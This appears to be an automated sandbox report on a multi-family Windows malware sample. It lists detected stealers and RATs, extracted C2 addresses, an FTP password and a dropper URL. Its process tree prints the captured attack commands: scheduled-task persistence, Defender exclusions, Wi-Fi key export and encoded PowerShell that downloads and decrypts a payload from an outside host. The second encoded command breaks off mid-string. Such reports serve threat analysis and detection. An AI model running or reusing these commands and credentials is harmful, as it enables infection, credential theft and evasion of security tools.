Resubmissions
18/08/2026, 19:34
260818-x972xsygjb1002/07/2026, 09:19
260702-labnwsfs6z29/05/2026, 16:41
260529-t7a3mabx7l26/05/2026, 03:15
260526-dr1qcadz4y21/05/2026, 18:13
260521-wt38csgz711021/05/2026, 18:04
260521-wnpssagx3s1021/05/2026, 17:59
260521-wkpzdady5j1021/05/2026, 17:58
260521-wj9bmady2k21/05/2026, 17:58
260521-wj5y7sgv4v21/05/2026, 17:57
260521-wj2lsagv3zAnalysis
- max time kernel
25s - max time network
154s - platform
windows10-2004_x64 - resource
win10v2004-20260130-en - resource tags
- submitted
11/02/2026, 09:27
General
- Target 2to1ep.exe
- Size 13.1MB
- Sample260211-leyn8aes8e
- SHA256 65ba3988d38f83b9ee1f31cafa5bd37dc6b72279f5618aac94d71a904efa0cac
Score
10/10
Malware Config
Extracted
Language
-
ps1
Source
URLs
-
ps1.dropper
https://blank-carrot.com:443
Extracted
Family
-
redline
Botnet
-
ddwwnnll
C2
-
196.251.107.104:1912
Extracted
Family
-
agenttesla
Credentials
-
Protocol
ftp
-
Host
ftp://ftp.hhautoinvestment.co.tz
-
Port
21
-
Username
-
Password
fPAg$hB-*4RmYP(+
Signatures
- AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
- Agenttesla family
- Amadey
Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.
- Amadey family
- Detect SalatStealer payload 3 IoCs
- Detects Amadey x86-bit Payload 1 IoCs
- Detects Vidar Stealer 4 IoCs
- Quasar RAT
Quasar is an open source Remote Access Tool.
- Quasar family
- Quasar payload 1 IoCs
- RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
- RedLine payload 1 IoCs
- Redline family
- Salatstealer family
- Vidar
Vidar is an infostealer based on Arkei stealer.
- Vidar family
- salatstealer
SalatStealer is a stealer that takes sceenshot written in Golang.
- Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 6 IoCs
- Badlisted process makes network request 3 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 50 IoCs
Using powershell.exe command.
- Downloads MZ/PE file 24 IoCs
- Checks BIOS information in registry 2 TTPs 12 IoCs
BIOS information is often read in order to detect sandboxing environments.
- Creates new service(s) 2 TTPs
- Cryptocurrency Miner
Makes network request to known mining pool URL.
- Drops startup file 2 IoCs
- Executes dropped EXE 39 IoCs
- Loads dropped DLL 43 IoCs
- Prevents Microsoft Defender from scanning certain paths by adding an exclusion. 2 TTPs 1 IoCs
Uses the Powershell Add-MpPreference cmdlet to exclude paths from being scanned by Microsoft Defender.
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Stops running service(s) 4 TTPs
- Themida packer 31 IoCs
Detects Themida, an advanced Windows software protection system.
- Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
- Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
- Adds Run key to start application 2 TTPs 1 IoCs
- Checks whether UAC is enabled 1 TTPs 6 IoCs
- Contacts third-party web service commonly abused for C2 1 TTPs 9 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- Enumerates connected drives 3 TTPs 64 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
- Hide Artifacts: Hidden Window 1 TTPs 1 IoCs
Windows that would typically be displayed when an application carries out an operation can be hidden.
- Looks up external IP address via web service 6 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Drops file in System32 directory 1 IoCs
- SmartAssembly .NET packer 2 IoCs
Detects SmartAssembly .NET packer.
- UPX packed file 19 IoCs
Detects executables packed with UPX/modified UPX open source packer.
- Launches sc.exe 13 IoCs
Sc.exe is a Windows utlilty to control services on the system.
- Browser Information Discovery 1 TTPs
Enumerate browser information.
- Event Triggered Execution: Installer Packages 2 TTPs 9 IoCs
- Program crash 1 IoCs
- System Location Discovery: System Language Discovery 1 TTPs 7 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- System Time Discovery 1 TTPs 2 IoCs
Adversary may gather the system time and/or time zone settings from a local or remote system.
- Checks SCSI registry key(s) 3 TTPs 3 IoCs
SCSI information is often read in order to detect sandboxing environments.
- Checks processor information in registry 2 TTPs 4 IoCs
Processor information is often read in order to detect sandboxing environments.
- GoLang User-Agent 1 IoCs
Uses default user-agent string defined by GoLang HTTP packages.
- Scheduled Task/Job: Scheduled Task 1 TTPs 18 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious use of AdjustPrivilegeToken 44 IoCs
- Suspicious use of FindShellTrayWindow 39 IoCs
- Suspicious use of SendNotifyMessage 33 IoCs
- Suspicious use of WriteProcessMemory 64 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Views/modifies file attributes 1 TTPs 14 IoCs
Processes
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\2to1ep.exe"C:\Users\Admin\AppData\Local\Temp\2to1ep.exe"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\2to1ep.exe"C:\Users\Admin\AppData\Local\Temp\2to1ep.exe"3⤵
- Downloads MZ/PE file
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "schtasks /Create /TN crypto_nuke_task /TR \"C:\Users\Admin\AppData\Local\Temp\2to1ep.exe\" /SC ONLOGON /RL HIGHEST /F"4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exeschtasks /Create /TN crypto_nuke_task /TR \"C:\Users\Admin\AppData\Local\Temp\2to1ep.exe\" /SC ONLOGON /RL HIGHEST /F5⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\SYSTEM32\cmd.execmd.exe /C start c:\Windows\System32\Taskmgr.exe4⤵
- Suspicious use of WriteProcessMemory
-
\??\c:\Windows\System32\Taskmgr.exec:\Windows\System32\Taskmgr.exe5⤵
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\I9tRpKv.exeI9tRpKv.exe4⤵
- Executes dropped EXE
- Loads dropped DLL
-
-
C:\Users\Admin\AppData\Local\Temp\a\candy.execandy.exe4⤵
- Badlisted process makes network request
- Downloads MZ/PE file
- Executes dropped EXE
- Loads dropped DLL
-
-
C:\Users\Admin\AppData\Local\Temp\a\LdlY2ri.exeLdlY2ri.exe4⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\a\z6HdLiH.exez6HdLiH.exe4⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\a\TXpyp1Y.exeTXpyp1Y.exe4⤵
- Badlisted process makes network request
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\a\xwn3Zn2.exexwn3Zn2.exe4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File wizzy.ps14⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File STE2.ps14⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Aspnet_compiler.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\Aspnet_compiler.exe"5⤵
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Aspnet_compiler.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\Aspnet_compiler.exe"5⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\subprocess.exesubprocess.exe4⤵
- Drops startup file
- Executes dropped EXE
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File oracle.ps14⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File mari.ps14⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\a\RKXRn1l.exeRKXRn1l.exe4⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\a\VD4ZhoY.exeVD4ZhoY.exe4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\AppData\Local\Temp\a\VD4ZhoY.exe"C:\Users\Admin\AppData\Local\Temp\a\VD4ZhoY.exe"5⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\kRHhLlh.exekRHhLlh.exe4⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\a\btZfO26.exebtZfO26.exe4⤵
- Executes dropped EXE
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File ENCRYPTED.ps14⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File CLASS.ps14⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File RR.ps14⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\wermgr.exe"C:\Windows\system32\wermgr.exe" "-outproc" "0" "4628" "2144" "2064" "2148" "0" "0" "2152" "0" "0" "0" "0" "0"5⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File YELLOW.ps14⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File STE.ps14⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File AFRICA.ps14⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\a\P616Z5YPGXB9.exeP616Z5YPGXB9.exe4⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command "Get-Process | Select-Object Name"5⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --headless --disable-gpu5⤵
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" --headless --disable-gpu5⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --headless --disable-gpu5⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand JABsAGEAPQAkAGUAbgB2ADoATABPAEMAQQBMAEEAUABQAEQAQQBUAEEAOwAkAHAAMQA9ACIAJABsAGEAXABNAGkAYwByAG8AcwBvAGYAdABcAE8AZgBmAGkAYwBlAEIAcgBvAGsAZQByACIAOwAkAHAAMgA9ACIAJABsAGEAXABQAGEAYwBrAGEAZwBlAHMAXABNAGkAYwByAG8AcwBvAGYAdAAuAFcAaQBuAGQAbwB3AHMALgBQAGUAbwBwAGwAZQBFAHgAcABlAHIAaQBlAG4AYwBlAEgAbwBzAHQAXwBnAHcAMQBuADEAYwAyAGYAaAB5AGUAcQB5ACIAOwAkAHAAMgB0AD0AIgAkAHAAMgBcAEEAQwBcAFQAZQBtAHAAIgA7AE4AZQB3AC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgACQAcAAxACAALQBJAHQAZQBtAFQAeQBwAGUAIABEAGkAcgBlAGMAdABvAHIAeQAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsADsATgBlAHcALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABwADIAdAAgAC0ASQB0AGUAbQBUAHkAcABlACAARABpAHIAZQBjAHQAbwByAHkAIAAtAEYAbwByAGMAZQB8AE8AdQB0AC0ATgB1AGwAbAA7AGEAdAB0AHIAaQBiACAAKwBoACAAKwBzACAAJABwADEAOwBhAHQAdAByAGkAYgAgACsAaAAgACsAcwAgACQAcAAyADsAcgBlAGcAIABhAGQAZAAgACcASABLAEwATQBcAFMATwBGAFQAVwBBAFIARQBcAFAAbwBsAGkAYwBpAGUAcwBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAEUAeABjAGwAdQBzAGkAbwBuAHMAXABQAGEAdABoAHMAJwAgAC8AZgAgAC8AcgBlAGcAOgA2ADQAOwByAGUAZwAgAGEAZABkACAAJwBIAEsATABNAFwAUwBPAEYAVABXAEEAUgBFAFwAUABvAGwAaQBjAGkAZQBzAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzACAARABlAGYAZQBuAGQAZQByAFwARQB4AGMAbAB1AHMAaQBvAG4AcwBcAFAAYQB0AGgAcwAnACAALwB2ACAAJABwADEAIAAvAGQAIAAwACAALwBmACAALwByAGUAZwA6ADYANAA7AHIAZQBnACAAYQBkAGQAIAAnAEgASwBMAE0AXABTAE8ARgBUAFcAQQBSAEUAXABQAG8AbABpAGMAaQBlAHMAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAIABEAGUAZgBlAG4AZABlAHIAXABFAHgAYwBsAHUAcwBpAG8AbgBzAFwAUABhAHQAaABzACcAIAAvAHYAIAAkAHAAMgAgAC8AZAAgADAAIAAvAGYAIAAvAHIAZQBnADoANgA0ADsAcwBjAGgAdABhAHMAawBzACAALwBjAHIAZQBhAHQAZQAgAC8AdABuACAAJwBXAGkAbgBkAG8AdwBzAFMAeQBzAHQAZQBtAFMAZQByAHYAaQBjAGUAJwAgAC8AdAByACAAIgAkAHAAMQBcAHMAdgBjAGgAbwBzAHQALgBlAHgAZQAiACAALwBzAGMAIABvAG4AbABvAGcAbwBuACAALwBmADsAcwBjAGgAdABhAHMAawBzACAALwBjAHIAZQBhAHQAZQAgAC8AdABuACAAJwBSAHUAbgB0AGkAbQBlAEIAcgBvAGsAZQByAFMAZQByAHYAaQBjAGUAJwAgAC8AdAByACAAIgBgACIAJABwADIAdABcAFIAdQBuAHQAaQBtAGUAQgByAG8AawBlAHIALgBlAHgAZQBgACIAIAAtAEUAbQBiAGUAZABkAGkAbgBnACIAIAAvAHMAYwAgAG8AbgBsAG8AZwBvAG4AIAAvAGYAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgBTAGUAYwB1AHIAaQB0AHkAUAByAG8AdABvAGMAbwBsAD0AWwBOAGUAdAAuAFMAZQBjAHUAcgBpAHQAeQBQAHIAbwB0AG8AYwBvAGwAVAB5AHAAZQBdADoAOgBUAGwAcwAxADIAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgBTAGUAcgB2AGUAcgBDAGUAcgB0AGkAZgBpAGMAYQB0AGUAVgBhAGwAaQBkAGEAdABpAG8AbgBDAGEAbABsAGIAYQBjAGsAPQB7ACQAdAByAHUAZQB9ADsAJABkAGEAdABhAD0AKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEQAYQB0AGEAKAAnAGgAdAB0AHAAcwA6AC8ALwBiAGwAYQBuAGsALQBjAGEAcgByAG8AdAAuAGMAbwBtADoANAA0ADMAJwApADsAJABpAHYAPQAkAGQAYQB0AGEAWwAwAC4ALgAxADUAXQA7ACQAZQBuAGMAPQAkAGQAYQB0AGEAWwAxADYALgAuACgAJABkAGEAdABhAC4ATABlAG4AZwB0AGgALQAxACkAXQA7ACQAYQBlAHMAPQBbAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5AHAAdABvAGcAcgBhAHAAaAB5AC4AQQBlAHMAXQA6ADoAQwByAGUAYQB0AGUAKAApADsAJABhAGUAcwAuAEsAZQB5AD0AWwBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABCAHkAdABlAHMAKAAnADEAMAA0ADEAMQA5ADYAMQA2ADkAMAA5ADQAMQA1ADEAMAA2ADgANQAwADEAOQAwADYAMgA0ADMANAA5ADEANgAnACkAOwAkAGEAZQBzAC4ASQBWAD0AJABpAHYAOwAkAGEAZQBzAC4ATQBvAGQAZQA9ACcAQwBCAEMAJwA7ACQAYQBlAHMALgBQAGEAZABkAGkAbgBnAD0AJwBQAEsAQwBTADcAJwA7ACQAZABlAGMAPQAkAGEAZQBzAC4AQwByAGUAYQB0AGUARABlAGMAcgB5AHAAdABvAHIAKAApAC4AVAByAGEAbgBzAGYAbwByAG0ARgBpAG4AYQBsAEIAbABvAGMAawAoACQAZQBuAGMALAAwACwAJABlAG4AYwAuAEwAZQBuAGcAdABoACkAOwBbAEkATwAuAEYAaQBsAGUAXQA6ADoAVwByAGkAdABlAEEAbABsAEIAeQB0AGUAcwAoACIAJABwADEAXABzAHYAYwBoAG8AcwB0AC4AZQB4AGUAIgAsACQAZABlAGMAKQA7AEMAbwBwAHkALQBJAHQAZQBtACAAIgAkAHAAMQBcAHMAdgBjAGgAbwBzAHQALgBlAHgAZQAiACAAIgAkAHAAMgB0AFwAUgB1AG4AdABpAG0AZQBCAHIAbwBrAGUAcgAuAGUAeABlACIAIAAtAEYAbwByAGMAZQA=5⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\system32\attrib.exe"C:\Windows\system32\attrib.exe" +h +s C:\Users\Admin\AppData\Local\Microsoft\OfficeBroker6⤵
- Views/modifies file attributes
-
-
C:\Windows\system32\attrib.exe"C:\Windows\system32\attrib.exe" +h +s C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.PeopleExperienceHost_gw1n1c2fhyeqy6⤵
- Views/modifies file attributes
-
-
C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /reg:646⤵
-
-
C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /v C:\Users\Admin\AppData\Local\Microsoft\OfficeBroker /d 0 /f /reg:646⤵
-
-
C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /v C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.PeopleExperienceHost_gw1n1c2fhyeqy /d 0 /f /reg:646⤵
-
-
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /tn WindowsSystemService /tr C:\Users\Admin\AppData\Local\Microsoft\OfficeBroker\svchost.exe /sc onlogon /f6⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /tn RuntimeBrokerService /tr ""C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.PeopleExperienceHost_gw1n1c2fhyeqy\AC\Temp\RuntimeBroker.exe" -Embedding" /sc onlogon /f6⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\88U13H6KR8GY.exe88U13H6KR8GY.exe4⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command "Get-Process | Select-Object Name"5⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" --headless --disable-gpu5⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --headless --disable-gpu5⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --headless --disable-gpu5⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\128426.exe128426.exe4⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Checks whether UAC is enabled
- Checks processor information in registry
- Suspicious use of AdjustPrivilegeToken
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe"5⤵
-
-
C:\Windows\SYSTEM32\netsh.exe"netsh" wlan export profile key=clear folder="C:\Users\Admin\AppData\Local\Temp\IntelixWifiExport_df41cb71518544a795daf470f459216c"5⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"5⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\2PLZ4ABNWNPY.exe2PLZ4ABNWNPY.exe4⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command "Get-Process | Select-Object Name"5⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --headless --disable-gpu5⤵
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" --headless --disable-gpu5⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --headless --disable-gpu5⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\ZUV9745L7374.exeZUV9745L7374.exe4⤵
- Executes dropped EXE
- Checks processor information in registry
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --headless --incognito5⤵
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" --headless --disable-gpu5⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --headless --disable-gpu5⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --headless --incognito5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand JABsAGEAPQAkAGUAbgB2ADoATABPAEMAQQBMAEEAUABQAEQAQQBUAEEAOwAkAHAAMQA9ACgAJABsAGEAIAArACAAKAAnAFwAJwArACcATQBpAGMAcgBvAHMAbwBmACcAKwAnAHQAXABPAGYAZgBpAGMAZQAnACsAJwBCACcAKwAnAHIAbwBrACcAKwAnAGUAJwArACcAcgAnACkAKQA7ACQAcAAyAD0AKAAkAGwAYQAgACsAIAAoACcAXABQAGEAYwBrAGEAJwArACcAZwBlAHMAXABNACcAKwAnAGkAYwByACcAKwAnAG8AcwBvAGYAJwArACcAdAAuAFcAaQAnACsAJwBuACcAKwAnAGQAbwB3AHMALgBQAGUAbwAnACsAJwBwAGwAZQBFACcAKwAnAHgAJwArACcAcABlAHIAaQBlAG4AYwBlACcAKwAnAEgAbwBzAHQAXwBnAHcAJwArACcAMQBuADEAYwAyAGYAaAAnACsAJwB5AGUAJwArACcAcQAnACsAJwB5ACcAKQApADsAJABwADIAdAA9ACgAJABwADIAIAArACAAKAAtAGoAbwBpAG4AKAAnAFwAQQBDACcALAAnAFwAVABlACcALAAnAG0AcAAnACkAKQApADsATgBlAHcALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABwADEAIAAtAEkAdABlAG0AVAB5AHAAZQAgAEQAaQByAGUAYwB0AG8AcgB5ACAALQBGAG8AcgBjAGUAfABPAHUAdAAtAE4AdQBsAGwAOwBOAGUAdwAtAEkAdABlAG0AIAAtAFAAYQB0AGgAIAAkAHAAMgB0ACAALQBJAHQAZQBtAFQAeQBwAGUAIABEAGkAcgBlAGMAdABvAHIAeQAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsADsAYQB0AHQAcgBpAGIAIAArAGgAIAArAHMAIAAkAHAAMQA7AGEAdAB0AHIAaQBiACAAKwBoACAAKwBzACAAJABwADIAOwByAGUAZwAgAGEAZABkACAAKAAtAGoAbwBpAG4AKAAnAEgASwAnACwAJwBMAE0AJwAsACcAXABTACcALAAnAE8ARgBUAFcAQQBSAEUAXAAnACwAJwBQAG8AbABpACcALAAnAGMAaQBlACcALAAnAHMAXABNAGkAYwByAG8AJwAsACcAcwBvAGYAdABcAFcAJwAsACcAaQBuAGQAbwAnACwAJwB3AHMAIABEAGUAZgBlAG4AJwAsACcAZABlAHIAXABFAHgAYwAnACwAJwBsAHUAcwAnACwAJwBpAG8AbgBzAFwAUABhACcALAAnAHQAJwAsACcAaABzACcAKQApACAALwBmACAALwByAGUAZwA6ADYANAA7AHIAZQBnACAAYQBkAGQAIAAoAC0AagBvAGkAbgAoACcASAAnACwAJwBLAEwATQBcAFMATwBGAFQAJwAsACcAVwBBAFIARQAnACwAJwBcAFAAbwBsAGkAYwAnACwAJwBpAGUAcwBcAE0AaQBjAHIAJwAsACcAbwBzAG8AZgB0AFwAJwAsACcAVwBpAG4AZAAnACwAJwBvAHcAcwAgAEQAZQAnACwAJwBmAGUAbgBkAGUAJwAsACcAcgAnACwAJwBcAEUAeABjAGwAdQBzAGkAJwAsACcAbwBuAHMAXAAnACwAJwBQAGEAdABoAHMAJwApACkAIAAvAHYAIAAkAHAAMQAgAC8AdAAgAFIARQBHAF8ARABXAE8AUgBEACAALwBkACAAMAAgAC8AZgAgAC8AcgBlAGcAOgA2ADQAOwByAGUAZwAgAGEAZABkACAAKAAtAGoAbwBpAG4AKAAnAEgASwBMAE0AXABTAE8ARgAnACwAJwBUAFcAJwAsACcAQQBSAEUAXABQACcALAAnAG8AbABpAGMAaQBlAHMAXAAnACwAJwBNAGkAYwByAG8AcwAnACwAJwBvAGYAdABcAFcAaQBuAGQAJwAsACcAbwB3AHMAIABEAGUAJwAsACcAZgBlAG4AZAAnACwAJwBlAHIAJwAsACcAXABFAHgAYwBsAHUAcwBpACcALAAnAG8AbgBzACcALAAnAFwAUABhAHQAaABzACcAKQApACAALwB2ACAAJABwADIAIAAvAHQAIABSAEUARwBfAEQAVwBPAFIARAAgAC8AZAAgADAAIAAvAGYAIAAvAHIAZQBnADoANgA0ADsAdAByAHkAewBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAJABwADEAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA7AEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIAAkAHAAMgAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAfQBjAGEAdABjAGgAewB9AFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIABnAHAAdQBwAGQAYQB0AGUAIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAJwAvAGYAbwByAGMAZQAnACwAJwAvAHQAYQByAGcAZQB0ADoAYwBvAG0AcAB1AHQAZQByACcAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAEgAaQBkAGQAZQBuACAALQBXAGEAaQB0ACAAMgA+ACQAbgB1AGwAbAA7AFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0AUwBlAGMAbwBuAGQAcwAgADIAMAA7AHMA